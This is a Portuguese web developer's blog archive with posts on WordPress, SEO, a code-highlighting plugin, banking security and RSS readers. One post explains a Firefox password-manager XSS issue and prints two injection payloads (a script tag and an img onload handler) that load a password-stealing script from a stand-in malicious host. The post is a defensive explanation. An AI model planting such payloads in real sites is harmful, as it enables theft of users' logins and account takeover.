Oficina de WordPress Visie

Momento Jabá:

Oficina de WordPress Visie: WordPress é a mais poderosa ferramenta de blogging da atualidade. É a ferramenta usada em todos os blogs aqui da Visie, e em boa parte dos blogs[bb] mais populares do Brasil e do mundo. Extremamente simples de usar, facilmente configurável e poderosamente extensível, WordPress ainda por cima é open source e completamente gratuito.

WordPress é a ferramenta por trás desse blog. A idéia da oficina nasceu numa conversa com o Juliano Spyer, no Blogcamp. Teremos um dia para quem quer aprender o básico de WordPress para, por exemplo, criar seu próprio blog, um dia para designers, falando de temas para WordPress e um dia para programadores em que vamos construir plugins e ferramentas que se integrem ao WordPress.

Use macros em seu editor de código

Quanta gente, ao pensar na idéia de migrar de WYSIWYG para edição de código, se pergunta: “mas não vai ser improdutivo se eu tiver que escrever tudo à mão?”

Nosso amigo Michael dá uma boa ajuda para quem está com essa dúvida em seu vídeo “Macros para Produtividade”.
Claro, isso é só o começo. Mas é um excelente começo. E quanta gente eu vejo por aí que não sabe o básico!

Falha no Password Manager do Firefox?

Veja como essa notícia no Terra explica mal as coisas e espalha o terror:

A versão mais recente do navegador Firefox, a 2.0.0.5, possui uma falha em seu gerenciador de senhas que pode permitir o acesso a elas por sites maliciosos. O problema só se manifesta se o Javascript[bb] e o gerenciador de senhas estiverem acionados – o que é o padrão. Conforme o site Linux.com, a falha pode ser explorada com truques bastante antigos como o cross-site scripting, pequeno programa em um site que manipula objetos na máquina do usuário ou em outro site.

Quem tomar tempo para ler o anúncio da falha vai entender melhor. A falha não é no Password Manager. É uma falha de script-injection e XSS (cross-site scripting). Vou explicar em detalhes: se você tem um site em que os usuários inserem conteúdo, deve tomar cuidado para que eles não insiram javascript no conteúdo. Por exemplo, se os usuários cadastram uma descrição pessoal em seus perfis, e você simplesmente imprime esta descrição, corre sérios riscos. Alguém pode escrever, em sua descrição, algo como:

<script src="http://meusitemalicioso.com/scriptsqueroubamsenhas.js"></script>

Naturalmente, isso é muito perigoso! Não basta bloquear a tag script, você precisa se certificar de que o usuário não insira javascript na página de forma alguma. Por exemplo:

<img src="imagemqualquer.gif"
onload="document.getElementsByTagName('script')[0].src='http://meusitemalicioso.com/scriptsqueroubamsenhas.js'" />

Ou seja, é sua obrigação se certificar de que seus usuários não podem inserir javascript em nenhuma página de seu site. Isso porque o modelo de segurança do javascript está baseado na origem do script. Scripts numa página podem acessar qualquer coisa dentro daquele domínio. Então, se você permite que seus usuários usem a técnica acima, eles podem fazer com que os usuários que acessarem o perfil/post/comentário malicioso:

  1. Tenham suas contas canceladas. Basta que o script crie um iframe oculto, carregue a URL de cancelamento de conta nele, aguarde alguns segundos e clique no botão “Sim, eu tenho certeza”
  2. Tenham suas senhas modificadas. De novo, no frame oculto. Carregando o formulário de mudança de senha, preenchendo e submetendo. Se não houver validação de referer, isso pode ser feito inclusive sem o iframe, usando o objeto XMLHTTPRequest (via Ajax[bb]).
  3. Enviem mensagens para todos os usuários do site, transfira todas as suas comunidades para um determinado perfil, veja o site em cor de rosa com uma foto do Reginaldo Rossi no logo e o que mais o agressor quiser.

Tudo o que eu descrevi acima funciona em qualquer navegador. Não se trata de uma falha no navegador, mas de uma falha no site. Bom, o que o pessoal da heise descobriu é que um agressor pode criar um formulário de login falso, e se você salvou a senha daquele site o Firefox, o Safari e o Konqueror vão preencher o formulário automaticamente. E esse formulário pode ser lido pelo script do agressor. Ora, o sujeito pode virar o site de ponta cabeça, claro que também pode acessar o formulário de login! E isso só não funciona no IE porque ele não tem um password manager 😉

Ou seja, a falha não é do Firefox, mas do site, que permite acesso irrestrito ao atacante. É um site em que você não deveria confiar, que você não deveria acessar, ou pelo menos não deveria acessar com a mesma senha do seu cartão do banco. O fato de um navegador não ter password manager não vai tornar o site mais seguro. A conclusão a que chega o pessoal da heise:

Da perspectiva dos usuários, significa que eles não deveriam confiar suas senhas ao password manager em sites que permitem aos usuários criar suas próprias páginas contendo scripts.

Grande coisa! Você não deveria confiar, de maneira nenhuma, em sites que permitem aos usuários criar suas próprias páginas contendo scripts. Não é só seu password manager que está em risco, e não importa que navegador você está usando.

Otimização para Buscadores: "Voe Gol" e o Submarino.

Algumas das frases de busca que mais traziam gente a este site eram:

  1. Voe Gol
  2. voegol
  3. voe-gol

Desde que eu escrevi o artigo VoeGol se você conseguir, choveram paraquedistas neste blog. Gente que encontrava meu artigo procurando por voe gol no Google, geralmente associando com palavras como:

  1. passagem
  2. viagem
  3. avião
  4. promoção

E mesmo gente que chegou buscando frases engraçadas, como: “eu quero ir para porto seguro de avião pela gol” (o buscador é praticamente um gênio da lâmpada!)

Pois não é que os visitantes desse artigo simplesmente desapareceram? O número de gente que chegou por essa busca diminui dez vezes no último mês. Fiz uma busca por “voe gol” e descobri porquê. Minha página era a segunda, logo depois da página da própria Gol nessa busca. Agora não é mais. Isso mostra como é importante estar acima da dobra. Aquela posição, entre o segundo e o terceiro, significa uma diferença de cliques na ordem de dez vezes.

Essa página do Submarino é a segunda colocada hoje. Pois bem, veja esse trecho da página:

Aqui você encontra: Gol, Voegol, Voe Gol, Gol Linhas Aereas, www.voegol.com.br, Linhas Aéreas Gol, Gol Passagens Aereas, Gol Passagens, Gol Linhas, Voegol com br, Gol Aerea, Site da Gol, Empresa Aerea Gol, Gol Passagens Aéreas. Pode Imaginar. Sua Viagem começa aqui!

Este texto, naturalmente, foi escrito para o buscador. Talvez eles tenham chegado à conclusão de que o único usuário que de fato lê seus textos é o Google, e resolveram escrever só para ele mesmo. Já tinha visto muitos sites assim, mas geralmente feitos por pessoas físicas ou empresas minúsculas. O fato de o Submarino estar adotando esse tipo de SEO diz alguma coisa? O que você acha[bb]?

Imite o Mac OS X você também

Dashboard, Exposè, estilo Aqua, tudo já foi copiado no elegante Mac OS X. Mas a marca registrada do sistema ainda é o Dock. Há uma porção de cópias interessantes para o Dock em diversos ambientes. Mas, com javascript e CSS, eu nunca tinha visto uma razoável. Até que vi essa aqui. Veja esse Dock rodando nesse exemplo.

Muito bom. Tanto o código quanto o resultado visual.

Ah, se você tiver um tempinho para estudar o código, vai passar a odiar um pouquinho mais o Internet Explorer 😉

Encontro Locaweb de Profissionais Web em Curitiba amanhã

No encontro lá em Porto Alegre mais de 300 pessoas. Foi muito divertido.

Amanhã é a edição do evento em Curitiba, e como nos outros, vou estar apresentando a palestra “Microformats[bb], a web semântica com letra minúscula”. Você pode se inscrever direto no local (Estação 21 Convention Center.)

E a brincadeira continua. Se você for e tiver condições, leve uma extensão para me emprestar. Uma extensão elétrica comum, com tomada de pinos redondos, qualquer uma serve.

Eu ao vivo no Encontro de Desenvolvedores Locaweb

Vou estar no Encontro de Desenvolvedores Locaweb este ano, apresentando a palestra “Microformats[bb], a web semântica com letra minúscula”. É na próxima quarta-feira, dia 25, em Porto Alegre, 10 de maio em Curitiba, 30 de maio no Rio de Janeiro e 12 de junho aqui em São Paulo.

Se você for e tiver condições, leve uma extensão para que possamos fazer uma brincadeira lá. Uma extensão elétrica comum, com tomada de pinos redondos, qualquer uma serve.

Resultado do concurso dos 4KB

Depois de muito confabular, chegamos a uma conclusão a respeito do Desafio dos 4KB.

O vencedor é o Michael Humberto Castillo, com seu joguinho. Demoramos a decidir porque o joguinho tem uns bugs, mas foi o mais impressionante que foi enviado. Como o critério, segundo o anúncio da promoção, era a quantidade de barulho produzida pela reação emocionada do pessoal aqui, não conseguimos deixar de premiar o Humberto, apesar dos pequenos bugs. Parabéns Humberto! Aguarde nosso contato.

Parabéns também a todos os outros participantes! Foi muito divertido.

Desafio dos 4KB

Momento Jabá: Quanta coisa você consegue fazer com apenas 4KB?

Crie uma página que faça algo impressionante com apenas 4KB de código. Pode usar HTML válido ou inválido, XML, Javascript, CSS e o que mais você quiser, desde que esteja tudo em uma única página. Nada de Flash, imagens externas, scripts externos ou Ajax. O resultado pode ser o que você quiser, desde que seja impressionante. Pode também funcionar apenas no Firefox, se você preferir. Afinal, você vai programar só por diversão.

Inclua a frase “Visie, ensinando os melhores”, publique em algum lugar e envie o link para a gente. Vamos mostrar para o pessoal da Visie e ouvir o “Uau!” da galera. A página que conseguir o maior número de decibéis na reação dos espectadores, a mais impressionante, a mais surpreendente, vai ganhar um curso online de Javascript Crossbrowser da Visie, para você ou para doar para alguém.

Para que todos possamos ver os trabalhos, deixe um comentário aqui com o link para o seu. Você tem até sexta-feira, às 11h da manhã para enviar seus impressionantes 4KB de código. Vamos começar a avaliação na sexta-feira ao meio-dia, e a hora em que vai sair o resultado depende da quantidade de participantes.

Vamos mostrar para esse pessoal boboca por aí que programar[bb] é muito mais divertido que ficar escrevendo frasezinhas de efeito.

Divirtam-se!

Google Code Prettify.

Agora este blog tem syntax highlight para os trechos de código que eu escrevo, por exemplo:

function Pessoa(nome,idade,email){
// Para criar as propriedades da classe usamos a palavra-chave this
this.nome=nome
this.idade=idade
this.email=email
// Não existe, em javascript, o conceito de método. Um método é uma
// propriedade como outra qualquer, cujo valor é uma função e,
// portanto, é executável.
this.digaOi=function(){
alert("Oi, eu sou "+this.nome+"!")
}
}

Levei dez minutos para fazer isso. Baixei e instalei a Google Code Prettify e escrevi um plugin do WordPress para adicionar a classe prettyprint a todas as minhas tags <code> e estava feito.

Instruções detalhadas:

Primeiro baixe esses dois arquivos e coloque-os em seu site. Pode ser no diretório raiz. Em seguida inclua no head de suas páginas:


<link href="prettify.css" type="text/css" rel="stylesheet" />
<script type="text/javascript" src="prettify.js"></script>

Você pode alterar o prettify.css para que fique com as cores que você desejar.

O passo seguinte é colocar onload="prettyPrint()" na tag body.

Agora é só substituir suas tags <pre> e <code> por <pre class="prettyprint"> e <code class="prettyprint">. Pronto, está funcionando.

WordPress

No WordPress você pode alterar o head de sua página e incluir o onload no body no editor de templates, editando o arquivo Header. Para incluir a classe em todas as suas tags code pode copiar o plugin abaixo:


<?php
/*
Plugin Name: Prettify
Version: 1.0
Plugin URI: http://blog.elcio.com.br/google-code-prettify/
Description: Prepares your code snippets to <a href="http://code.google.com/p/google-code-prettify/">Google Code Prettify</a>, adding class="prettyprint" to them.
Author: Elcio Ferreira
Author URI: http://blog.elcio.com.br
*/
function prettify($text) {
return str_replace('<code>','<code class="prettyprint">',$text);
}
add_filter('the_content', 'prettify');
add_filter('the_excerpt', 'prettify');
add_filter('comment_text', 'prettify');
?>

Você pode baixar esse plugin aqui.

Política de Segurança do Bradesco! Raios Múltiplos!

O Bruno começou: Bradesco: O pior internet banking que eu já vi.

É mesmo, de longe, o pior que eu conheço. Sou cliente Bradesco e Itaú há um bocado de tempo. Mantenho minha conta no Bradesco por uma série de motivos. Primeiro, porque eles me ofereceram crédito pessoal, cartão de crédito, cheque especial e uma porção de outras facilidades, sem que eu precisasse ir até o banco pedir. Sei que eles não fazem isso por bondade, que é interesse do banco que eu me endivide e pague juros a eles. Mas no Itaú, tendo praticamente o mesmo tempo de conta e tendo durante alguns anos movimentado mais dinheiro lá do que no Bradesco, não tenho nem talão de cheques. Eu sei que se for à agência pedir é capaz de conseguir essas facilidades, mas, caramba, tenho que ir à agência?

Há outros motivos para manter minha conta no Bradesco. Embora seja considerado um “banco das massas” e muita gente reclame das filas, tenho tido muita sorte com o atendimento deles na agência. A rede de caixas eletrônicos também é exemplar. Onde eu vou tem um caixa Bradesco Dia e Noite. E, se não tiver, eles ainda têm convênio com a rede 24 horas, embora aí eu pague para sacar. Isso é bem melhor que o sistema do Itaú, onde eu só posso sacar em caixas eletrônicos do próprio Itaú, tenho um limite (pequeno) de saques por mês e, se sacar além do limite, pago uma tarifa por cada saque extra. Além disso, se faço um saque em qualquer caixa eletrônico fora da agência, num supermercado, posto de gasolina ou rodoviária, por exemplo, também pago por aquele saque. Além disso, as tarifas no Itaú são um assalto!

Me sinto entre a cruz e a espada com os dois bancos.

Um ponto para o Bradesco: Uma vez perdi meu cartão do Itaú. Tive que ir até a agência para assinar uma solicitação de um novo. O gerente me deu um prazo, mas a única maneira de saber se o cartão já havia chegado era telefonar para o gerente ou ir até a agência. Acontece que ninguém consegue telefonar para o gerente. Quando o cartão finalmente chegou, o gerente me entregou o cartão e me disse que eu tinha que cadastrar uma senha para liberar o cartão para uso. E para isso, tinha que pegar a fila do caixa. Era o quinto dia útil do mês, a fila era uma daquelas que quase não cabe na agência. No Bradesco, quando meu cartão quebrou, fiz o pedido de um novo por telefone e o recebi em casa.

Um ponto para o Itaú: há pouco tempo eu me mudei e resolvi transferir as contas para uma agência perto de casa. No Itaú a moça digitou meia dúzia de coisas no computador, me deu um único documento para assinar e colou um adesivo em meu cartão com o número da nova conta. Pronto, a conta estava transferida e eu já podia movimentá-la. No Bradesco me pediram uma carta, de próprio punho, solicitando a mudança, me deram um documento de encerramento da conta antiga para assinar, mais toda a papelada de abertura de uma conta nova. Maços e maços de papéis para assinar. Aliás, o Bradesco parece que adora gastar papel. Está bem que eles trabalham com papel reciclado, mas acho que eles fariam mais bem à Natureza se simplesmente poupassem a metade do papel que gastam.

No fim, não sei que banco escolher. Não se também se abro uma conta em um outro e encerro as duas que tenho.

Agora, falando em políticas de segurança, o Bradesco realmente é o campeão da chateação. Uma vez minha esposa telefonou para o Fone Fácil, que devia se chamar Fone Difícil. Ela não estava acostumada às confirmações de cadastro. Aqui em casa, quando a gente precisa telefonar para a companhia telefônica, o banco ou qualquer outro fornecedor de serviços, geralmente sou eu que faço. Você nunca foi pego de surpresa quando perguntam sua idade? Principalmente perto do seu aniversário? Foi o suficiente para bloquearem a conta dela e ela ter que ir até a agência para resolver o problema.

Esse tal “Cartão Chave de Segurança Bradesco” é a coisa mais famigerada que já inventaram. O Itaú tem um igualzinho, mas o Bradesco me pede o cartão para acessar também o Fone Fácil, que devia se chamar Fone Difícil, e para fazer saques no caixa eletrônico.

Preste atenção nos passos para saber meu saldo no Internet Banking:

  1. Acesso o site do Bradesco.
  2. Digito agência e conta e Enter.
  3. Espero, dependendo da conexão muito, até carregar um applet Java.
  4. Digito minha senha eletrônica (não é a mesma do cartão para saque) usando o teclado virtual.
  5. Digito minha frase secreta (pelo menos 22 letras) e Enter
  6. Aparece uma tela me pedindo um dos números do meu cartão chave. Tiro o cartãozinho odioso da carteira, encontro e digito o número pedido e Enter.
  7. Pronto, aparece meu saldo. Viu como é fácil?

Um cliente Bradesco tem:

  1. Uma senha do cartão de débito
  2. Duas letras secretas para usar o caixa eletrônico
  3. Uma senha eletrônica para Internet e Fone Fácil
  4. Um cartão de segurança com 70 números

E de vez em quando ainda te pedem para confirmar dados pessoais em algumas operações.

Por fim: estava tentando testar um serviço novo, o NovoFax, mas não consegui porque o sistema da Visa me manda para o Bradesco quando tento fazer uma compra, e, embora o site e o Internet Banking funcionem no Firefox, os sistemas de pagamento eletrônico não. Estou pensando aqui se assino via boleto ou simplesmente desisto.

Yahoo! Pipes: criar mash-ups é como brincar de Lego

http://pipes.yahoo.com/

Assombroso. O nome deve de alguma maneira ser inspirado nos pipes do Unix. Sabe aquele papo que quem usa Linux vive dizendo, que o grande poder do Linux[bb] só é percebido quando você entende como usar o terminal e os pipes? Sabe aquele outro papo, do pessoal da semântica e do XML, de que essa coisas toda torna as aplicações mais fáceis de se integrar?

Pois é, o Yahoo! Pipes dá um gostinho das duas coisas. De um jeito que qualquer um com um pouquinho de raciocínio lógico consegue experimentar, sem precisar saber programar.

Ajude o Open Source encontrando defeitos

Você pode ajudar um projeto Open Source sem saber programar e sem gastar horas com isso. Basta escrever um bug report minimamente detalhado.

Por exemplo, o Automatix travou aqui no meu Linux durante uma instalação. Se eu usasse um sistema de código fechado, dificilmente poderia entender o que estava acontecendo. Mas na arquitetura aberta e flexível de sistemas Unix[bb], eu pude ajudar mesmo sem escrever uma linha de código. Escrevi um bug report.

Mesmo com meu inglês miojônico, o sujeito entendeu o que eu disse e já consertou o problema. A versão corrigida já está inclusive em minha própria máquina, atualizada sozinha pelo Ubuntu[bb].

Compare isso com as alternativas que você tem ao encontrar um defeito num produto de código fechado, rodando num sistema fechado e complicador como o Windows. O Linux[bb] também tem bugs, claro. A diferença é que com Linux você não está impotente. Você pode ajudar.

StayValid

O caso é muito comum: você cria um site com um gerenciador de conteúdos qualquer. Por exemplo, um blog WordPress. Você valida o código e o site passa perfeitamente pelo validador. Mas, depois de algum tempo, alguém, você, seu cliente, seu colega, seu cachorro ou seu papagaio fazem um post no blog, ou alteram um conteúdo no CMS e isso quebra a validação. E você só vai descrobir sabe-se lá quanto tempo depois.

Como resolver este problema? Validar todos os seus sites, todos os dias?

O StayValid valida seu site para você, todos os dias, de hora em hora. Insira o endereço de seu site e o StayValid vai criar um feed RSS[bb] onde você pode acompanhar os resultados da validação. Se tudo correr bem, você vai receber apenas uma notícia por dia, do StayValid dizendo que validou seu site. Se ele encontrar um ou mais erros, ou se o resultado da validação mudar (por exemplo, você tinha três erros e agora só tem dois) o StayValid vai validar de hora em hora e te avisar via RSS.

Em tempo: o StayValid nasceu de uma necessidade nossa, e se tornou possível porque o código de resultados do validador do W3C é XHTML válido. Bastou então escrever um arquivo XSLT que transformasse os resultados num RSS.

Bloglines ainda reina supremo, pelo menos para mim.

Enquanto o Ronaldo está procurando uma alternativa para o Bloglines, o Henrique se assusta com sua popularidade.

Eu, por enquanto, continuo no Bloglines. Passei algum tempo usando Newshutch. As alternativas que eu tinha visto até então eram complicadas e lentas, e eu preferia um Bloglines sem Ajax a um Google Reader cheio de Ajax que só atrapalhava. Até que encontrei o Newshutch, que tem Ajax na medida certa e não confunde os feeds lidos com não lidos como o Bloglines tem feito. Passei um bocado de tempo usando o Newshutch, quase satisfeito, mas voltei para o Bloglines por um único motivo: é o único que funciona em meu Nokia 6111.

Leio e respondo meus e-mails nele, acesso o Internet Banking (só Bradesco, o Itaú por enquanto não funciona), publico coisas neste blog, no da Visie e no Tableless e modero comentários, acesso o Google Maps e, usando o excelente MobyExplorer, até publico fotos e conserto pequenos bugs de programação em situações de emergência. Todas as aplicações da Visie funcionam nele. Não vou abrir mão de algo tão simples quanto ler meus feeds.

Se você souber de algum agregador legal com suporte ao Opera Mini, por favor me avise para eu testar. Enquanto isso, continuo no Bloglines.